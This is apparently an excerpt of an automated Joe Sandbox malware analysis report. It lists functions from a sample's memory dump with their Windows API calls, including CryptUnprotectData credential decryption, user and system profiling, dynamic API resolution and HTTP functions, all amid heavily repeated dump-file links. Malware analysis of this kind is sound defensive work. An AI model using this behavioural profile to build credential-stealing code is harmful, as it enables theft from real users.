Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: be44a45e23ae87963945b8a6cf96d588aacbf74d3c79f47b474dc5041d9b8b73
Instruction ID: 3a425a8ff483956c1958d862a9acdf93708f740243d8337268a48519086c141a
Opcode Fuzzy Hash: be44a45e23ae87963945b8a6cf96d588aacbf74d3c79f47b474dc5041d9b8b73
Instruction Fuzzy Hash: 2301E9B5A01208ABCB15DFA5C949BEDBBF8FB48300F108198E90AA7250D7B4AA44DF51

Function 00537A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0108E920,00000000,?,00540E10,00000000,?,00000000,00000000), ref: 00537A63
RtlAllocateHeap.NTDLL(00000000), ref: 00537A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0108E920,00000000,?,00540E10,00000000,?,00000000,00000000,?), ref: 00537A7D
wsprintfA.USER32 ref: 00537AB7

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: d088702ca7d302e78d538ba8090180e76af1e570102e993b9934d08ad979eb82
Instruction ID: 3d0aa0d8190da868bb9d024157b3dea37e44fb5126bda64636e32dc6d955070a
Opcode Fuzzy Hash: d088702ca7d302e78d538ba8090180e76af1e570102e993b9934d08ad979eb82
Instruction Fuzzy Hash: 45115EB1D45218EBEB208B54DC49FA9BB78FB44721F10479AE91AA32C0D7785A40CF55

Function 00529B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00529B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00529BA3
LocalFree.KERNEL32(?), ref: 00529BD3

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 5c4e13035c77613eb33dd88d4eba85065690725b89c6c7a5dd11a71f69901938
Instruction ID: 58debbb780d56a15fddb030cd8d1434a5e18e38fea60b5092f366963089819cc
Opcode Fuzzy Hash: 5c4e13035c77613eb33dd88d4eba85065690725b89c6c7a5dd11a71f69901938
Instruction Fuzzy Hash: A111BEB5900209EFCB04DF94D985AAE77B5FF89300F108568E915A7390D774AD10CFA1

Function 00537850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005211B7), ref: 00537880
RtlAllocateHeap.NTDLL(00000000), ref: 00537887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0053789F

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 0e835011d1d3f2b5e75d05ad3a0f7fa658586e2268c2def20baa1563adb76547
Instruction ID: 81b4437becce929cdc886f346f7a8ba8b929a0fefbce72bd0535594ce54e7124
Opcode Fuzzy Hash: 0e835011d1d3f2b5e75d05ad3a0f7fa658586e2268c2def20baa1563adb76547
Instruction Fuzzy Hash: E0F04FB1D44309ABCB10DF98DD49BAEFBB8FB08711F10465AFA06A3680C7B815048FA1

Function 00521160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0052116A
ExitProcess.KERNEL32 ref: 0052117E

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 7a296bc43a90c5c76152db24799a8f78ba5a08f6ec47f877e7ae5b169f67f152
Instruction ID: 97d47990bfe4e99c9a08c4a36a206fc72214eceb54f2ae4e135f2b758b1fe691
Opcode Fuzzy Hash: 7a296bc43a90c5c76152db24799a8f78ba5a08f6ec47f877e7ae5b169f67f152
Instruction Fuzzy Hash: AED05E7490030CEBCB00DFE0D84A6DDBB78FB08311F000554D90672340EA709491CAAA

Function 00539C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,01076518), ref: 00539C2D
GetProcAddress.KERNEL32(77190000,010765F8), ref: 00539C45
GetProcAddress.KERNEL32(77190000,01088FD8), ref: 00539C5E
GetProcAddress.KERNEL32(77190000,01089038), ref: 00539C76
GetProcAddress.KERNEL32(77190000,01089050), ref: 00539C8E
GetProcAddress.KERNEL32(77190000,0108D4C8), ref: 00539CA7
GetProcAddress.KERNEL32(77190000,0107A690), ref: 00539CBF
GetProcAddress.KERNEL32(77190000,0108D5B8), ref: 00539CD7
GetProcAddress.KERNEL32(77190000,0108D498), ref: 00539CF0
GetProcAddress.KERNEL32(77190000,0108D4B0), ref: 00539D08
GetProcAddress.KERNEL32(77190000,0108D540), ref: 00539D20
GetProcAddress.KERNEL32(77190000,010766F8), ref: 00539D39
GetProcAddress.KERNEL32(77190000,01076438), ref: 00539D51
GetProcAddress.KERNEL32(77190000,010767B8), ref: 00539D69
GetProcAddress.KERNEL32(77190000,010764B8), ref: 00539D82
GetProcAddress.KERNEL32(77190000,0108D4E0), ref: 00539D9A
GetProcAddress.KERNEL32(77190000,0108D480), ref: 00539DB2
GetProcAddress.KERNEL32(77190000,0107A8E8), ref: 00539DCB
GetProcAddress.KERNEL32(77190000,01076638), ref: 00539DE3
GetProcAddress.KERNEL32(77190000,0108D3C0), ref: 00539DFB
GetProcAddress.KERNEL32(77190000,0108D4F8), ref: 00539E14
GetProcAddress.KERNEL32(77190000,0108D468), ref: 00539E2C
GetProcAddress.KERNEL32(77190000,0108D678), ref: 00539E44
GetProcAddress.KERNEL32(77190000,01076798), ref: 00539E5D
GetProcAddress.KERNEL32(77190000,0108D558), ref: 00539E75
GetProcAddress.KERNEL32(77190000,0108D510), ref: 00539E8D
GetProcAddress.KERNEL32(77190000,0108D570), ref: 00539EA6
GetProcAddress.KERNEL32(77190000,0108D5D0), ref: 00539EBE
GetProcAddress.KERNEL32(77190000,0108D690), ref: 00539ED6
GetProcAddress.KERNEL32(77190000,0108D3D8), ref: 00539EEF
GetProcAddress.KERNEL32(77190000,0108D6A8), ref: 00539F07
GetProcAddress.KERNEL32(77190000,0108D408), ref: 00539F1F
GetProcAddress.KERNEL32(77190000,0108D450), ref: 00539F38
GetProcAddress.KERNEL32(77190000,0107F898), ref: 00539F50
GetProcAddress.KERNEL32(77190000,0108D438), ref: 00539F68
GetProcAddress.KERNEL32(77190000,0108D3F0), ref: 00539F81
GetProcAddress.KERNEL32(77190000,01076558), ref: 00539F99
GetProcAddress.KERNEL32(77190000,0108D528), ref: 00539FB1
GetProcAddress.KERNEL32(77190000,01076458), ref: 00539FCA
GetProcAddress.KERNEL32(77190000,0108D600), ref: 00539FE2
GetProcAddress.KERNEL32(77190000,0108D588), ref: 00539FFA
GetProcAddress.KERNEL32(77190000,01076478), ref: 0053A013
GetProcAddress.KERNEL32(77190000,010764D8), ref: 0053A02B
LoadLibraryA.KERNEL32(0108D420,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A03D
LoadLibraryA.KERNEL32(0108D5A0,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A04E
LoadLibraryA.KERNEL32(0108D5E8,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A060
LoadLibraryA.KERNEL32(0108D618,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A072
LoadLibraryA.KERNEL32(0108D630,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A083
LoadLibraryA.KERNEL32(0108D648,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A095
LoadLibraryA.KERNEL32(0108D660,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A0A7
LoadLibraryA.KERNEL32(0108D6F0,?,00535CA3,00540AEB,?,?,?,?,?,?,?,?,?,?,00540AEA,00540AE3), ref: 0053A0B8
GetProcAddress.KERNEL32(77040000,010760F8), ref: 0053A0DA
GetProcAddress.KERNEL32(77040000,0108D768), ref: 0053A0F2
GetProcAddress.KERNEL32(77040000,01088C78), ref: 0053A10A
GetProcAddress.KERNEL32(77040000,0108D7C8), ref: 0053A123
GetProcAddress.KERNEL32(77040000,010763B8), ref: 0053A13B
GetProcAddress.KERNEL32(73D20000,0107AA00), ref: 0053A160
GetProcAddress.KERNEL32(73D20000,01076238), ref: 0053A179
GetProcAddress.KERNEL32(73D20000,0107A758), ref: 0053A191
GetProcAddress.KERNEL32(73D20000,0108D810), ref: 0053A1A9
GetProcAddress.KERNEL32(73D20000,0108D7E0), ref: 0053A1C2
GetProcAddress.KERNEL32(73D20000,01076118), ref: 0053A1DA
GetProcAddress.KERNEL32(73D20000,010761B8), ref: 0053A1F2
GetProcAddress.KERNEL32(73D20000,0108D7F8), ref: 0053A20B
GetProcAddress.KERNEL32(768D0000,01076358), ref: 0053A22C
GetProcAddress.KERNEL32(768D0000,01076378), ref: 0053A244
GetProcAddress.KERNEL32(768D0000,0108D780), ref: 0053A25D
GetProcAddress.KERNEL32(768D0000,0108D750), ref: 0053A275
GetProcAddress.KERNEL32(768D0000,01076398), ref: 0053A28D
GetProcAddress.KERNEL32(75790000,0107AA28), ref: 0053A2B3
GetProcAddress.KERNEL32(75790000,0107A7A8), ref: 0053A2CB
GetProcAddress.KERNEL32(75790000,0108D708), ref: 0053A2E3
GetProcAddress.KERNEL32(75790000,01076098), ref: 0053A2FC
GetProcAddress.KERNEL32(75790000,01076318), ref: 0053A314
GetProcAddress.KERNEL32(75790000,0107AAA0), ref: 0053A32C
GetProcAddress.KERNEL32(75A10000,0108D6C0), ref: 0053A352
GetProcAddress.KERNEL32(75A10000,010761D8), ref: 0053A36A
GetProcAddress.KERNEL32(75A10000,01088C18), ref: 0053A382
GetProcAddress.KERNEL32(75A10000,0108D798), ref: 0053A39B
GetProcAddress.KERNEL32(75A10000,0108D840), ref: 0053A3B3
GetProcAddress.KERNEL32(75A10000,01076138), ref: 0053A3CB
GetProcAddress.KERNEL32(75A10000,010760B8), ref: 0053A3E4
GetProcAddress.KERNEL32(75A10000,0108D858), ref: 0053A3FC
GetProcAddress.KERNEL32(75A10000,0108D720), ref: 0053A414
GetProcAddress.KERNEL32(76850000,01076178), ref: 0053A436
GetProcAddress.KERNEL32(76850000,0108D738), ref: 0053A44E
GetProcAddress.KERNEL32(76850000,0108D7B0), ref: 0053A466
GetProcAddress.KERNEL32(76850000,0108D6D8), ref: 0053A47F
GetProcAddress.KERNEL32(76850000,0108D870), ref: 0053A497
GetProcAddress.KERNEL32(75690000,01076258), ref: 0053A4B8
GetProcAddress.KERNEL32(75690000,01076198), ref: 0053A4D1
GetProcAddress.KERNEL32(769C0000,010763D8), ref: 0053A4F2
GetProcAddress.KERNEL32(769C0000,0108D828), ref: 0053A50A
GetProcAddress.KERNEL32(6F8C0000,010763F8), ref: 0053A530
GetProcAddress.KERNEL32(6F8C0000,01076158), ref: 0053A548
GetProcAddress.KERNEL32(6F8C0000,010760D8), ref: 0053A560
GetProcAddress.KERNEL32(6F8C0000,0108D0F0), ref: 0053A579
GetProcAddress.KERNEL32(6F8C0000,010761F8), ref: 0053A591
GetProcAddress.KERNEL32(6F8C0000,01076218), ref: 0053A5A9
GetProcAddress.KERNEL32(6F8C0000,01076018), ref: 0053A5C2
GetProcAddress.KERNEL32(6F8C0000,01076038), ref: 0053A5DA
GetProcAddress.KERNEL32(6F8C0000,InternetSetOptionA), ref: 0053A5F1
GetProcAddress.KERNEL32(6F8C0000,HttpQueryInfoA), ref: 0053A607
GetProcAddress.KERNEL32(75D90000,0108D228), ref: 0053A629
GetProcAddress.KERNEL32(75D90000,01088AB8), ref: 0053A641
GetProcAddress.KERNEL32(75D90000,0108D288), ref: 0053A659
GetProcAddress.KERNEL32(75D90000,0108D1B0), ref: 0053A672
GetProcAddress.KERNEL32(76470000,01076278), ref: 0053A693
GetProcAddress.KERNEL32(70210000,0108D198), ref: 0053A6B4
GetProcAddress.KERNEL32(70210000,01076298), ref: 0053A6CD
GetProcAddress.KERNEL32(70210000,0108D240), ref: 0053A6E5
GetProcAddress.KERNEL32(70210000,0108D1F8), ref: 0053A6FD

Strings

InternetSetOptionA, xrefs: 0053A5E5
HttpQueryInfoA, xrefs: 0053A5FC

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 05989f181c13ac5d09fe7787094cdbf8cd8fc862906e239fe60c99656e42744d
Instruction ID: bddfe914992b46d8041d0cc782aef9579598f1ef6333ec53b7bf36772ee2d210
Opcode Fuzzy Hash: 05989f181c13ac5d09fe7787094cdbf8cd8fc862906e239fe60c99656e42744d
Instruction Fuzzy Hash: 74623AB5500341BFC745DFA8EE889563BF9F79C201714C51AE60BE3224DABDA841DF2A

Function 00527710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00527724
RtlAllocateHeap.NTDLL(00000000), ref: 0052772B
lstrcat.KERNEL32(?,0108A850), ref: 005278DB
lstrcat.KERNEL32(?,?), ref: 005278EF
lstrcat.KERNEL32(?,?), ref: 00527903
lstrcat.KERNEL32(?,?), ref: 00527917
lstrcat.KERNEL32(?,0108EE78), ref: 0052792B
